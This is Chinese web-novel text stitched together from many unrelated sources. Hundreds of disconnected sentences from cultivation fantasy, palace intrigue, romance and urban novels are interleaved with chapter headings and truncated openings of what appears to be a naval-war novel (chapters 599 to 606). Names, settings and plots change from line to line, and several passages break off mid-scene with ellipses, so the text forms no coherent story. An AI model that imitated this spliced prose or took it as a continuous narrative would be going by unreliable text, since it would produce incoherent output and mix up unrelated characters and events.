这个时候,萧问也开始认真思考这个问题:鸣剑宗为何要招收新弟? 陈京、林玉梁自恃身份,向来喜欢迟到,最近又刚把萧问挤走,正是意气风发的时候,来的就更晚了。 这一刻,他甚至忘记了扫描周围的竞争者,否则,他一定会发现,一名背负着巨大镰刀的大将军同样在向着红色火种赶去。 如果这个年头的原始算盘能够经得起刘焉童鞋在心里繁复折腾蹂躏的话。 听罢一席话,满船嗟叹声,一慨于白璧暇的热衷功名、心机算尽;二感于白璧瑜的消沉避世、迭遭摆布,可怜这对孪生兄弟同年同月同日同胎所生,命运却是截然不同。 “这力量!怎么这么强!我们永恒一族的身体力量可以说是最强大的!怎么他的身体力量比我们还要强上一筹!”先前说话的这名黄眼永恒一族跟李成风扎一‘交’手立刻吃惊的说道。 这样的两件仙器,防御力还是极强的,一般的攻击,哪能攻得破,更何况,十皇子和谋机先生的出手,全部的仙力,都灌注到了两柄宝剑之中。 对着陌生人有着极其冷淡的态度,只是不知道熟悉起来会不会变得像凤如凰这样的无厘头。 那之后几日,岚瑛又到园子里来过一回,禀告家中孩子无恙,又另将皇帝交代的差事告诉姐姐,阿灵阿那儿自然和皇帝有话说,她只是特地来向姐姐说明,回头他们家支持八阿哥,不是心甘情愿的,望姐姐不要误会。 不消片刻,剩下的五只神王阶别的元素兽都折损在君千汐的石碑之下。 夜宸一直在院子里,身上沾染了些许夜雾,让他的脸色更加惨白。 那些受骗上当的顾客跟林雅如、白清姝等夏家高层关门谈了很久,直到太阳西沉的时候,那些人才走出来,神情看起来是平缓了许多。 第一卷 第599章 千帆竞舸 “好嘞!客官您稍坐!”掌柜的吆喝着应声,目光扫过这形容落拓、青衫陈旧的老者时,却不由得微微一怔。 只觉得此人眉眼间有种莫名的熟悉感,仿佛多年前曾见过,可仔细去想,却又模糊不清,抓不住头绪。 掌柜摇摇头,也未深究,自家这面馆开了二十多年,迎来送往的客人如过江之鲫,记不清也是常事。 “客官,您的面,小心烫!”很快,一碗热气腾腾的汤面端了上来。 掌柜放下碗,忍不住又瞥了老者一眼,那熟悉的感觉再次浮现,却依然想不...... 就在秦天想出言安慰吴腾以及吴芙蓉几句时,他通过元脉波动秘法发现了一件令他震惊的事情。 但是三堂主的巨豹也并非什么强大的法宝,因此苏远也不屑取出乾坤尺和如意金箍棒,这才祭出了龙头宝杖。 李承介听她说到后来语气却不免低落了下去,就知道她肯定是又想到了东京的经历,再一看其她人,不管是比较大大咧咧的李顺圭、林允儿,还是一向沉静的权侑利,眼神都略有黯淡,看来这段经历对她们而言真是很特殊的。 听到这儿,燃灯道人等人立即松了一口气,接着都扭头转向了玉虚宫的方向,恭恭敬敬地向着虚空深施一礼,感谢元始天尊宽宏之恩。 而在蛮荒神墓之时,苏远从曹宝手中得到了红绳,后来再将红绳给了云中子。 司玄的狂猛斗气吹开浓雾,露出了外面的一部分情形,把所有的守城军吓得倒吸一口冷气。 各种指诀通过手指不断印刻在丹炉之上,幸好严峻手上戴着冰蚕丝手套,不然怎么可能碰得了这滚烫的丹炉上。 周扬收摄心神,闭上眼睛去把握于氐根那股刻意隐藏的杀气,决定全身贯注与眼前其他人交手,只要于氐根一露杀机,无论眼前面临多少敌人,都要全力掉头应付,否则必然死于这雪林之中。 他们变化成巨大儿狮子形态,马上引起了巡逻守卫的注意。那几个守卫本来还想管一管,一看是狮子形态马上就当做没看见,溜溜达达的往其它地方走了。 想到这儿,苏远大吼一声,身体蓦然间向上一涨,身材立即挺拔增高,全身的肌肉暴涨,起伏如同山丘,这赫然是苏远施展了魔神之躯。 这件事,战墨沉一直百思不得其解,可如今姜沉一解释,似乎又说的过去了。 之后又扑通一声跪在地上,对着顾池砰砰磕头,额头已经磕破出血也不似不知疼痛般,只为求顾池开慈悲之心,救她家人的性命。 萧凛抿了抿唇,忍不住亲了亲她的脖子,更多的却是不敢了,不是不敢,而是不好意思。 她放下斧子,在石凳上落座,看见了桌腿上覆着滑溜溜的青苔,角落里还长出了几朵细细的蘑菇。 杰·卡丹也知道此时不能拖后腿,虽然惊叹古力的战力,可布洛思也说了,此时的古力实力大损,没有刚才那般强悍,自己只是拖住对方,给布洛思争取时间,一直在旁观战的他可是毫无消耗,凭借全盛状态,应该不难办到。 等协会负责人来处理的空档,孙玫细细想了一遍,心里明白,自己这是被人做局了。 赵全虽然是空间异能,可能力有限养活一家三口,定多也就这么点吃的。 在这种情况下,他没道理再去给5号玩家丢查杀,他敢查杀5,就说明他不是悍跳狼。 只是那边的楼层更高,风翎看不清战况,仅仅能看见猫鹰时不时扑腾翅膀飞起来,羽毛凌乱,显然陷入苦战。 另外一个穿白袍的中年人跟萨德曼是一伙的,也给林夜微笑着点头致意。 隆冬,朔风凛冽,银灰色的云块在天空中积聚凝结,寒流滚滚,到了酉时,终于飘起了鹅毛大雪。 这不,下一秒人就不见了,出现在金山寺内的大雄宝殿里,这里应该足够安全,想来人为召唤的凡雷也不可能劈到佛门的大雄宝殿里来吧? 虽然米迦勒不太高兴,但教皇还是发出邀请函,并且是拿加百列的名义。不过,谁的名义都无所谓,反正翔夜都不会拒绝。。 “平常人的生活,感觉真好!”阿凉嘀咕着向包间走去,脸上挂着淡淡地笑。 怎么会?怎么会这样呢?永安竟然真的敢挑衅北美资本?皮特陈揪着头皮,竭力的让自己冷静下来。 翔夜高速坠下,一刀砍开了楼顶,斩断了两名守卫的死线,接着抱起丽纱,割碎后墙冲了出去。 她已经有了属于自己的幸福,自己就算再不甘愿,再留恋,也只能祝福她。 穆青青脸色一僵,只见宣绍轻笑着伏在烟雨耳边,说了句什么。烟雨点了点头,坐在宣绍身边,并不离开。 辛蕊不用想,就知道是中午那个龌龊男人干的好事,当下气不打一处来,声音也随之提高了起来。 两人已经交流完毕,叶山河来到夏浩然跟前,微微点了点头,示意可以走了。 前方的墨绿的磷火依旧在海平面上闪烁着,它的确如同民间传说中的鬼火一般,将人们引向了鬼怪布置的陷阱,可是这个陷阱的规模却超出了所有人的想象。 “在你眼里是儿子,在我眼里就是苏府的一个污点一个把柄。这事轮不到你置喙,你给我去祠堂跪着,我不说话,不允许起来。谁敢给苏家抹黑,就别怪我心狠。”苏太傅冷声道。 不提跟阿威的关系,就是杨墨帮助阿威出手的那几下,就让人眼红不已,光这一点,就值得他尊敬。 虽然他稍微体验到了绝望的心情,但是距离被逼到极限还有相当长的一段距离。 之前面对持有诅咒物的人袭击时,他就以一种近乎于荒诞的方法骗过了所有来刺杀他的人。 积蓄数秒,大致达到十亿伏特后,她双手一错,拉伸出一把遍布着强大电流的蓝白色长枪。 苏晓晓心中一动,捂着流血的肩膀凑上去查看,一看之下,因为失血苍白的脸色透出一丝喜色。 哪能一一接待,所谓考验,只不过筛选掉一些别有用心,心浮气躁的人罢了。 “还有一些蔬菜,都是新鲜的绿叶子菜。奴婢已经让人送到厨房了,晚上您和少爷就能尝尝鲜了。”春兰笑着回答道。 第一卷 第600章 突生变数 蓝少堂曾长期在东疆服役,深谙海战,此番精选的一万禁军中,亦多有熟悉水性、经历过海战的老兵。 只是她虽然口中念念有词,计算自己行走的步数,心中算计却一刻未停。 翡翠说,她在假山处看见了好几个死人,只是那些人明显已经死了很久了,尸体都是臭的。 那双眼睛,眼白占据了大半范围,同时眼白处的血丝普通蜘蛛网一般,密密麻麻爬满他的眼睛。 不管是言行举止,亦或是吃某些高档料理都要贷出来的礼仪讲究,与那些出身普通家境的人放在一起对比,差别就出来了。 数团火焰膨胀吗,剧烈的爆炸中,怪兽周围的重力场瞬间毁灭,让本来想顺着解决怪兽的夏龙不由得一顿,任由怪兽轰隆砸落在地。 如果他们之后的收获还是和之前一样的话,那么他们进更深处所得到的收获和风险可不是正比的了。 孟西夷晚上也喝酒了,不多,但她宁愿这会是酒精上头,还可以少想一些。 她们走的干净利落,没看到身后两位长老在那里呆坐许久,最后对视一眼,露出怀疑人生的表情。 不过,也还好,他终归是踏入了仙帝的强者,天资很强,道心自然也是坚固无比,不可能如此就对自己彻底产生不自信。 因为这样的情况,现在的红离宗已经召回了大饶州之中所有在外游历的弟子们,让他们回归宗门,不在外界惹事情。 陈静敏原本糟糕的心情在见到陈轩的那一刻之后,瞬间化为乌有。 虽然被狂虐,可还是硬生生在漆黑屏障这技能可以吸收伤害转为治疗能量的特性下坚持了下来,血量也跟过山车一样上上下下。 对于大学来说,别说是现在这个时间,就算是再晚一些,保安也不会管你。 车子开到家门口停好后,陈轩立马推开车门走了下去,想让自己好好淋一场雨。 比比东咬了咬红唇,可是俏脸却显得有些绯红,看着林凡白气纯净的脸庞和认真的眼神,想起林凡刚才说的话,她的内心也有了一丝触动。 这样哥哥的处境就安全了,也不用担心被认出来,给顾正泽添麻烦。 听到顾嫣然的话,黄秋玲非但不生气,还“咯咯咯”的笑了起来。 “你……都什么时候了,你还不听话……”比比东好像有些生气,轻轻推了林凡一下,转身,背后立即出现了紫色的六翼紫光翅。 毕竟真实的情况确实是如杨奇峰所说的一样,都是一些不能够替换的人。 “霍,真是掌权了,敢挂我的电话了,看来回去,要好好地批评批评她了。”萧鹤川说着,嘴角微微上扬。 天网创始人已经不可追述了,也算是一个散组织,掌管天网的是三个超管,一个总管,不过所有人见到的三位超管都是一串数据。 杨心怡想把她嫁到她娘家去,这件事情没门,她倒要看看夏建业怎么说? “对了,我有一个朋友在广Z被抓,有没有办法保出来?!”我再一次开口,这次是为了二虎的事情。 一旦他知道有人看出了他阵法的奥秘,此阵有被破坏的风险,他可能会走极端,把化血神煞阵的威力扩散到整个四安里,让四安里瞬间变成人间炼狱。 第一卷 第601章 狠毒算计 凌川嘴角微扬,露出一抹冷冽而自信的笑意:“他们不来也好。十五万大军若全数涌来,这泼天的功劳,反倒不够分了!” 说罢,他不再多言,即刻让周灏飞快写下两封密信,信中言辞简练,却直指要害,将济州岛战局的关窍、敌军可能的软肋,以及双方汇合夹击的具体信号与方位,一一载明。 “速将此信,交予夜枭营最得力的弟兄!”凌川将封好的密信递给亲兵,神色肃然,“务必以最快速度,亲手送至廖沧横、毕潮生两位将军手中。此乃此战胜负...... 就在拿出武器的那一瞬间,地上和天上都出现藤蔓,这些藤蔓像是木刺一般。它们有大有些,末端都尖的如出一辙,这像是百般打磨而形成的尖锐。 程洛萱的肩膀被顾奕霖搂住,她嫌弃的拿开他的手,对郑烨笑了笑,又瞪了一眼顾奕霖。 这绿茶的芳香使冥王心旷神怡,冥王在沙发上品尝着这绿茶,百喝不厌,至今为止这绿茶还未喝完,真不知道当时冥王收集了多少。 却见得武神,也皱着眉头,愁眉苦脸的样子,显然一时间,也拿梁凡没有什么办法,心中更是担忧。 五人打也打不过,逃也逃不了。一时间乱了阵脚,这时坑洞之中闪出老四的身影。 有人大声叫喊着,同时疯狂地释放力量,再次向程远达和冯佳梦发起了猛烈的攻击。 “咳咳,比赛继续!”白衣中年男子故意大声咳嗽两声镇住喧闹。 按照弗奥的理论,黑洞就是虫洞入口,而白洞就是出口!只要穿越进黑洞然后从白洞出来,就能实现空间穿越。 “嗨,哪儿有什么进展呐!米面粮油运了不少过去,字倒没签一个回来,真拿我们当活菩萨了!”冯德璋还想接着说,却听得刘昂干咳两声,他听出刘昂不悦,悻悻收了声。 她站起身来,顾不得腿股酸软便往外去,赶到会议厅门前,正是大门打开的时候。 就在白术四处查看之时,忽然,他看到在地底一个角落的石壁上,突出了一个石台。 她本来还想告诉陆擎风阿靓说的孵蛋的事,看现在这种情况,还是不要说了,反正阿靓也没找出来孵蛋的方法,等找到孵蛋的方法了再说吧。 迎着观众们的滔天嘘声,不只是大一的新生心理压力重大,就连大二的老生也是有些胆颤心惊——排名第二十九的大二学生一个没留神,竟然被大一新生给偷袭成功,落败下去。 看到左维徵意志坚决,白术也知道他是为了自己好,只能无奈离开了左维徵办公室。 白术正琢磨着自己要怎么才能从这龙门秘境出去,便感觉身体中的经脉突然传来一阵空虚的感觉。 “咔嚓!!!咚!!!”但是硬借这一掌的赵逸也更是不好受,整个右手已经完全麻痹,时间太紧更本容不得赵逸完全展开零式,三米长的巨剑也是在击散那只巨掌之后生生的脱手而出插在了泥地之中。 看着水面上倒影着的点点星光,杰克拜伦眼中充满了无尽的后悔。 前面看着范先生和李长歌去跟飞羽城的守军‘交’谈,王龙凝神往远处看去。 但是百兽真人虽然现身,却目光呆滞,一句话不说,似乎木偶一样,黑衣道人更加的狂躁了。 微微侧身在毫厘之间躲过第一名士兵的长矛,白术手中的飞剑已经刺穿了他的喉咙,随后一脚将其踹开的同时,白术也顺势躲过了第二名士兵的扑砍,飞剑横着掠过,将这名士兵的身体砍为两截。 “哐”地一声酒杯炸裂,醇香的酒水撒了一地,左伶受惊连连尖叫后退,却依旧被碎片渣渣溅起划伤手背。 好不容易保住云千柔的命,千夜冥再一闹,云千柔保不住命倒是其次。冷婧又一次趁乱袭击,她可不能保证自己的安全。 量大的订单,在一定的时间内交付货物,靠爹娘,就算连带着自己短时间内肯定也是做不成了。 通过冷沐真,他知晓了云家医术的事,也知晓了宁蝾对云家的忌讳。 说完不理男人自己直接倒向大床,这张床自己也喜欢,所以,倒在这上面睡觉也喜欢。想当初自己经常倒在这张床上就睡着的,不知道今天会不会也这样。 原本这件事就这么完了,三皇子内心想,既然借不到昱国这边的力,那他回北岭为宁乐寻户权贵人家,务必要让这门亲事为自己登宝大业助一臂之力。 “姑娘睡下前,不是说想吃夫人做的东西么,夫人做了好多,可姑娘都没有醒,接着又重新做,已经反反复复好几次,就希望姑娘起来后就能吃到最鲜香的,这会儿,应该刚好有弄好了。”青兰解释道。 弄得一干准备行礼表一表思念尽一尽孝心的人拜不下去,尴尬不已。 “喂,知道不,听说新少奶奶以前许过人家的”后院角落里,两个低沉的声音说道。 一番总结家训后,在族长的带领下郝家人开始向后山坟地出发。他们要重复着年复一年的祭祀,从高祖曾祖开始,一代代的祭下来。到最后才轮到年轻的一辈,这种时候,一般都是各祭各的家人了。 第一卷 第602章 劫运粮船队 指挥舰甲板上,高闻崇独自凭栏,望着彭辽快艇消失的方向,脸上颓败与愤怒的神色逐渐褪去,取而代之的,是一抹近乎残酷的冷笑。 海风吹乱了他微白的鬓发,却吹不散他眼中骤然闪现的凌厉杀机,“你们的计划,确实不错……” 他低声自语,随即被呼啸的海风彻底吞没,“只可惜,你们永远也不会知道,我高闻崇,究竟是何身份!” 他转身,大步返回舱内,脸上的表情已恢复平日的沉稳冷峻,迅速召来几名心腹副将,他沉声下令: “传令各舰,减...... “我杨晓霜说过的话,一定会做到,答应过你的事,绝不反悔,但是……”杨晓霜似乎有话说不出口。 “冥落,你先把事情原委和我们讲一遍,切记不可有所隐瞒!”苏鼎说道。 蓝嘉维只找了两艘比较漂亮的飞船跟着自己的星尘,其他的全丢在了基地,让机器人们继续处理。 “既然你如此说,就别怪我等不客气了。”先前说话的那人不敢动手,但是却有人敢动手。所以立时,便有人上来,直攻王元,而且下手极为的狠辣。很显然,他已经被天级丹药迷花了眼,已经没有了诸多的顾忌。 九天神国聚集了无数强者,但是有几人格外超然,让神皇等人都要忌惮。 伊敏看了看胡耀,眼睛眯着抱紧了他。她知道自己的男人虽然平时看起来懒,可是要真想去做什么事情的时候那股激情和斗志是十分坚定的。她虽然不能帮上忙可是她绝对不会拖后腿。 而他却能看的到无数常人看不到的东西,并不能说明他已经是高维度生命,但至少,他已经接触到了哪个层次。 如果叶辰在全盛状态,他们还能殊死一搏。可是叶辰情况糟糕,走路都要吐血这怎么打? “母后,我心意已决如果要我嫁给上官洛阳那就是在逼我死,林峰的优秀不是你们能够了解的,如果你们真的要一意孤行的话你们会后悔的。”轩辕月妍哽咽着说道。 楚林峰顿时傻眼了,这可是价值连城的东西,这丫头居然不要,不知道叶素萍心里有多埋怨她。 “那该如何是好?这样走下去好像也不是办法呀,我们还要继续探索吗?”谷思思都有些迷茫了。 何若智傻乎乎地摸了摸后脑勺,他从未想过自己居然会有这样的力气。刚才似乎有一种莫名的力量从他大脑中流转全身,令何若智的身体充满了爆炸性的力量。 蓝羽军海军的札兰丁舰队首先和紫胡子海盗遭遇,海战立刻展开。 他从来没有见过这么恐怖的对手,似乎敌人就算在远处淡淡地看他一眼,都能令他的血液完全凝固。 南宫楚的剑气本已经凝练到无形之境,但是,为了凝聚出超强的杀伤力,他的剑气又从无形化为有形。 一年之后,在钓鱼岛这一片空地上,长出成片不知名的花朵,绚烂缤纷,美丽异常,不过却没有人敢于登上这座岛,每到深夜的时候,经过这里的船只都会隐隐听到岛上传来金鸣相交的声响,以及若隐若无的喊杀声。。。 到了现代,将枪械的子弹换上高纯度的银弹,也能射杀血族与狼人。其实,物理攻击也是可以使狼人或是血族受到致命的伤害。 柳儿暗自用力推了几下都没能把她推开,心中一急,使力过猛,只听嘶啦几声,白白抓着四块碎布倒飞出去,砰一下撞到了墨魇怀里。 郊外天地‘精’气比之城市之内,要浓郁得多。随着时间的推移,南宫楚的房间里逐渐汇聚八方天地‘精’气,一片氤氲雾气缭绕在南宫楚的周围。 “好了,如果没有什么事情的话,我就告辞了。”叶枫懒洋洋的伸了个懒腰,便站了起来,向着高坐上首的艾丽莎随意的一拱手,转身便要离开。 他眼睛眨也没眨,只见四下迷蒙蒙一片,大雾弥漫,有冷风吹拂而过,有暴雨倾盆而下,但却吹不散、打不散这雾。耳畔中,不时传来自然之中各种微妙的声音,明知是假,却又令人产生无比真实的感觉。 “别摇了,要碎了……不老泉就在灵药田最深处,你自己去找吧,反正我是从来没有见过。”石头大叫道。 这位代他出手的灰衣人名叫烈日炎,乃是邪道中一等一的高手,与其师兄毕夜惊都是出自魔门阴癸派门下,更是“血手”厉工的师弟。为人凶残狠毒,杀人如麻,以他的实力,要收拾谭秋雨这样的货色,已经是绰绰有余。 “我以为真是一种神金铸成的呢,不曾想是一种特别的岩石。”庞博有些惊异地道。 虽然感觉得到那种无形的牵引,可是,律昊天还是想要听到从苏影湄口中说出来的那些话。 在没有当地玛雅人充当向导的情况下,仅仅外面的热带雨林,就能吞噬很多蠢货的生命,将他们永远留在热带雨林深处,充当肥料。 凌阳大惊,没想到老家伙戾气如此深重,杀人就跟捏死蚂蚁一样随意。 曾经努力的想得到她,曾经努力的想忘记她,当得不到又忘不掉时,所有的爱与情都变成了伤害的筹码。 地龙将试卷看完之后,便将这份试卷有递于巴赫,巴赫看完这份试卷,脸色变得十分难堪,恨不得立马就要将那位生员康有为抓起来。 凌阳几乎可以肯定,刚刚探索进软卧包厢里的那抹异能之力,一定来自于圆通。因为上次凌阳带着三个老人家,把圆通的大好佛堂闹了个乌烟瘴气,临走时还留下一条纯铁镀金漆的假链子,把圆通糊弄得不轻。 而随着上官飞神情的变化,离得较近的水心儿只觉得房间内的空气似乎一下子就变得粘稠一般,让人呼吸起来既不顺畅,也不舒服。似乎越靠近上官飞,那种感觉越深刻。 “那,有什么办法。”盖亚咬紧牙关,直冒冷汗,这是他在最艰难的战斗中,都不曾有过的动作。 众目睽睽之下,我俩没敢把吃的塞进空间戒指,怕吓到别人。于是我让掌柜的开了一间房,并送来很多熟食,在房间里,我俩把东西划分了一下,装进了空间戒指。 李风前些天在教室里丢了脸本来出去之后就找人教训陈飞的,但一想到夏冰跟罗玉琳都在如果在学校里教训陈飞的话未必能够成功。所以他一直忍着,今天好不容易等到夏冰跟罗玉琳有事先走了,才带人来找陈飞的场子。 第一卷 第603章 海上首战 当一具具反抗者的尸体被拖出,丢在甲板上,舱内地板被粘稠的鲜血染成暗红时,剩余的水手终于彻底丧失了抵抗的意志,战战兢兢地缩在角落,再不敢发出半点异响。 不多时,新入门的弟子开始三三两两的进来,各个山峰的峰主们立刻拿出浑身解数,开始进行宣传和招揽。 台上的宿昕一开口,地下和安芸一样的忠实观众不少都哭了起来。 很多人觉得是像谢宝树那样,做一些见不得光的生意,巧取豪夺,肆意盘剥,一本万利。 这个世界和前世不同,他可以随意的使用前世的知识,自然不会惧怕崔玉灵的考问。 午后的日光静谧柔和,透过冰裂纹的明纸悬窗照进屋内,落在少年清冷如画的眉眼上,他身姿如松,正襟危坐,静静的看着那道身影推开房门,衣袂消失在视野中。 凭借她的经验,基本可以断定,老白家的姑娘肯定对自家儿子有想法,而她也对白雪路相当满意,再加上跟白誉结为亲家,那是亲上加亲,所以她已经打定主意,只要儿子不反对,尽量早办婚礼,让他们结婚生子。 王青见似乎不会再发生什么事,再加上她被担心发现,便悄悄地退出了酒店。 「公明,朕只是在宫里呆的无聊,所以想要去宫外走走。」刘协对着徐晃说到。 “你放心,我不会伤害到仲谋的,毕竟,他也是我的弟弟。”周瑜想了想,对着孙策说了一句。 现在,他们拍戏,哪怕是顶尖的导演,也要再三的邀请他们才有可能成功。 东篱暗暗叹气,自己实在是大意了,穿成一身富贵的样子,身边又没个下人跟着,那些居心不良的人怎么可能不起心思?说起来也怪南宫萧,若不是那色胚动手动脚的,她怎么可能跑出来,也就不会落到别人手里去了。 “没用的,强白涛已经认定是我杀死他的儿子,强振声虽然是傻子,但强白涛非常疼爱他,不会善罢甘休的。”香寒已经感到绝望,她这一辈子,终究还是毁了。 无论何时,都会把自己摘的干干净净的,这辈子,总算又见识到了她的手段,郑贵妃就算气得跳脚,恐怕也没辙了。 说到这里,陈金昌的面皮恰到好处的红了红,搓了搓手,真的是欲言又止。 木晚晴这时才敢抬起头来,她稳了稳心神,的确,齐帝是不会轻易出手的。 京府大学虽然是名校,可林子大了总有些坏鸟,再者学生们都是热血方刚的年纪,所以学生打架在京府也不是什么奇怪事儿。 可恶,我这是干啥,这个位置不是普兰德利待着的嘛,我怎么代替了他站在了这里?来享受着如潮般的讽刺?呜呜,老子真是命贱。 “我看也是,不过你是不是已经想好了我们下一个要去的地方了?”秦梦灵虽然修为不济,可是这种动静她还是第一次见到,所以很是认可徐洪的话道。 “臣妾许久不下厨了,不知道有没有生疏了。”木雁容脸上是淡淡的笑意。 杜月笙的手在哆嗦,他的呼吸也变得粗重了。瑰儿,自从当初四川一别,这么多年就一直了无音讯。现在,她的行踪终于又有点眉目了,杜月笙怎能不‘激’动? 第一卷 第604章 不留活口 “不好!” 远山景元瞳孔骤缩,失声惊呼,但一切已来不及阻止。 “轰!” “咔嚓!” 匆忙张罗了好半天,等到瑾瑜梳妆完毕,天边刚好亮起第一抹光亮,众人正在惊叹于眼前美的惊心动魄的新娘子,瑾瑜就已经眸光一闪,眼底层层叠叠浮上了浅浅的笑意。 杨飞对邹不凡所说的话虽然有些听不懂,但是他也顾不了那么多,一心想要报仇的他冷笑一声,说话的同时身子向后一退,示意风天凌等人攻击。 “以后别说这种话了。”琉璃也不舍得打自己的孩子,看着牧云的脸颊泛起一个巴掌印,心疼的和刀割一样,缓缓地将牧云揽入怀中,母子二人借助着月光无声的流泪。 张勋一听,危险地眯了眯眼睛,目光像利刃一般,在众人脸上扫过。 看着莉莉娅,压制着自己内心的火气,克丽丝的这一个投影眯着眼睛说道。 “不必了,你先帮我介绍介绍吧!”邹不凡又不是来这里喝茶或者喝咖啡的,他是来赌钱又或者干别的,因而没有那么多闲时间去浪费。 而且,在他们身后隐藏在幽世的那一位,如果真的是两个王的话,也不一定会为他们出头。 “是吗?那我给你好了。”邹不凡说着挥了挥手,之前那给邹不凡敬礼的那魁武男子再次出现,从他手中拿出了两张纸,在纸的最上头,分别写着逮捕令和搜查令,在纸的右下角,则盖着红色的印章。 本来得知宇智波富岳安全归来,宇智波炎还有点释怀,正打算和另外两位长老交谈,推荐他当族长。 而木叶这边在没有高端战力的情况下,三名特别上忍誓死守卫营地,当纲手和宇智波天赶到支援的时候,三名特别上忍已经死了两个,剩下一个也是重伤垂死了,而四名中忍也死了三个,只剩下了一个。 “看起来这个神鸟后裔很在乎你嘛,你们关系应该很好吧?”娍魔仙笑道。 今天也是应赵福灿的邀请来到这里,星期四的时候,就要回到静海市监狱,探索血狱。 我把这些年发生的事情,挑重要的和师父说了。当师父知道地万失踪后,也为我感到可惜。然后说他帮着我在这里打听,如果有消息的话,一定通知我。 沈劲入席之后便一直沉默,只是埋头吃喝,乏甚存在感。此时听到旁人调侃,便抬起头来,仔细的吮去手指上的油光,满脸哀怨的望向阿兄。 总护法不满道:“我说苏殿使,你能不能不要走来走去的,看得我头都晕了!”苏佳亮好似没听到一样,继续在殿里兜圈子。 议事大厅的一众人感受到灰太狼的气息之后,全部都是神色大变,浑身颤抖了起来,毕竟他们现在的实力不过是血将之境,血王之境的强大气息,对他们有着极大的压制。 我气的有些差点跳起来,但也不好在表现什么,不由退了两步,我还看了眼胖子,那意思咱俩还接着演不演?或者趁着这帮村民没发难前撤退还来得及。 苏佳亮老脸一红,干咳了一声不在说话,人家修为在那,实力为尊,他可不想再次被拍出去。 第一卷 第605章 远山景元被俘 “八嘎……!” 那中年男子挣扎着抬起头,眼中布满血丝,嘶哑地吐出一句怒骂。 话音未落,苍蝇抬腿一脚,重重踹在他的腿弯。 “噗通!” 一想到那可怕的猜想,她的手心便冒出了冷汗,直到她入了司马衍的寝宫内。 到了医院门口,辛易彬付车费之后直接把人抱起来,朝医院里面跑过去。 吃饭的时候,王伟也没有少喝,和万部长那边也算是不分上下,不过王伟到是没有一点的变化,就是脸都没有红一点,要不是亲眼看到他喝酒了,跟本让人看不出他是喝过酒的人。 要是一直这样就好了,要是一直这样…就好了…竹意识渐渐模糊,脑里浮现出洛那张倾城倾国的容颜,唔,再加上洛就好了,竹猛地睁开眼,洛是北楚皇。若她嫁过去,不是极难见到姐妹们了么? 她为他稍作整理,站在他面前,他身量已经很高,长成了一个大人了。 衣服……想到身上穿的龙袍经过了那人的手,赵洛的心起了一丝异样的感觉,每一寸肌肤都灼热无比,似乎穿的不是衣服而是一层火焰。 陆培静心里明白,这些不过是鸡蛋里头挑骨头,没事一定要找些事。 原本只要司马岳一死,东晋的时局动乱,倒是可以趁机行事,如今看来,却是不能了。 李美龄知道李秀英说不出什么好听的话来,可是这样一次次的直接打脸,换成心思再沉稳的人也绷不住了,此时李美龄也忍不住了。 整座城市似乎都被暴风雨卷席了,黑压压的一片,伞被卷席在地上瞬间消失不见。整整一天的大暴雨,似乎在为什么人哀悼。 “呀,灵梦,我回来了哟~”露米娅的声音在神社门口响起,然后,艾尔莉柯,艾尔利克,阿妈都一起走了过来。 火焰本是无形的物体,但是。让陈羽凡完全没想到的是,以魂冰之力凝聚而成的寒冰之剑竟然能把地狱火炎给分化开来。 “怎么啦?你们没事吧?”羽支撑着身体坐了起来,苦笑的问道。 雷的话极其难听各国公使的脸色都难看了起来而沙格鲁则是面带笑容的看着雷心里极其赞同雷的言语中隐藏的意思。自己帝国的私军可不是比他们的精锐要强悍么?否则也不会可以逼退捷豹军团和警备部的直属军团了。 不过就在阿骨山准备开口说话的时候,对面的人族,也就是牧易,突然动了,并且这一动,阿骨山便露出满脸震惊。 此时,牧易还不知道,江湖中已经有无数人开始蠢蠢欲动,瞄准了他从黄河古道中带出来的那把刀,不过即便知道了,恐怕他也不会太过在意。 但雷子却显得极为平淡,并没有什么过激的表现,相反,他正在思考着什么,神色间显得忧心忡忡。 “哼!大言不惭!这天底下,本座杀过的人无数,一直想挑战一下。传说的血狱魔宗宗主到底有哪份实力,今日既然被本座遇上了,那就死吧!”贝贝冷笑一声,一股杀机涌了出来。 游戏世界本应该是和谐而友好,或者自由而不受束缚。因为喜欢后者的人多些,所以黑暗阵营的玩家实力要比光明阵营稍微强些,无可厚非。 第一卷 第606章 大周第一酷吏 若是能够找到一个部件,没准还会有其他能力的,在苏晨看来,就算没有其他能力,恐怕飞行速度也会提升不少。 圣殿使者的周围,还有一位圣殿的三世伪帝强者,也是虎视眈眈的盯着凌天,一下子将凌天包围了起来。 “呵呵,有什么想说的尽管说,我这人向来好说话!”云昊察觉到对方的异常,淡笑着开口问道。 “叶宝的师傅是厨神阮经天。”叶修见陆校长挽留情急,不得已把叶宝的去处说了出来。 可是到今日,袁谭勾结外族,对自己同胞做出这样的事,就已经触到了每一个汉人的底线,高览更不会对他心慈手软。 好在到了大树底下,两人终于回过神来,开始拼命往上爬,我就在下面拖着她俩的屁股,用力往上顶。 商鹰闻言很是认真的点了点头,接着深吸一口气摊开手掌,那里一个食指长短散发着淡金色光芒的虚影清晰可见。 不仅如此,他家里还养着一千二百个草头神,对天庭是听调不听宣,大有占山为王的架势。 “你想要改学剑道,与其不远万里跋涉求师,还不如就近择一名师呢?”风无痕向叶修暗示风婕淑可以做这个剑道名师,传授叶修剑道本领。 曹操找来徐庶、曹仁、赵云商议,最终还是没能商量出一个办法,暂时大军也只能停在这里。 “讨厌,你再这样,我可真不给你收拾了?”林月儿嗔视着李少辉,把一件衣服盖在了他头上。 但县试考生可不少,此刻在辕门外等候的人头黑压压一片,估摸着不下千人。 可是为什么她的气质都似乎在他离开她以后发生了翻天覆地的变化? “不用啦,已经很美了,再说,迟早要过去看的,索性留一点神秘感,这样,我也会多一些期待。”赵轻柔说道。 想到这里,吴叶淑就满腔不满,不过她还是眼神暗示了裴沫沫,叫她暂时咽下这一口气。 楚玄恍然大悟,这不就是之前李守一在药田里对付老疯子那个阵法么?原来此阵的名字叫缠凶缚恶阵。 明明曾经许下永远在一起的诺言的是他们两个,可是不知道什么时候,事情已经偏离了轨道,他们再也回不去了。 听到冷秋蝉的邀请,项飞点了点头,记下对方在黑晶城的住址,又默默地收好黑晶,这才不紧不慢地离开了万灵塔。 “别乱动了,乖乖地接受治疗,这些伤看起来虽然严重,但恢复起来并不困难,你是第一代神河超级基因,虽然无法适配四代神体的底层配置,但是可以折中使用不败之体,”彦严肃地对她。 一来,楚默刚刚度过天罚,实力大损,自己想杀他易如反掌;二来,影卫对他也绝非忠诚,自己把他杀了,对薛无常来说是件好事,不但可以给三皇子楚丹扫清障碍,将来还可以诬陷给太子。 郑正阳之所以爱叫苦他就是不希望公主过多的参与进来,说白了他不想让人知道,这烧烤店是公主开的。 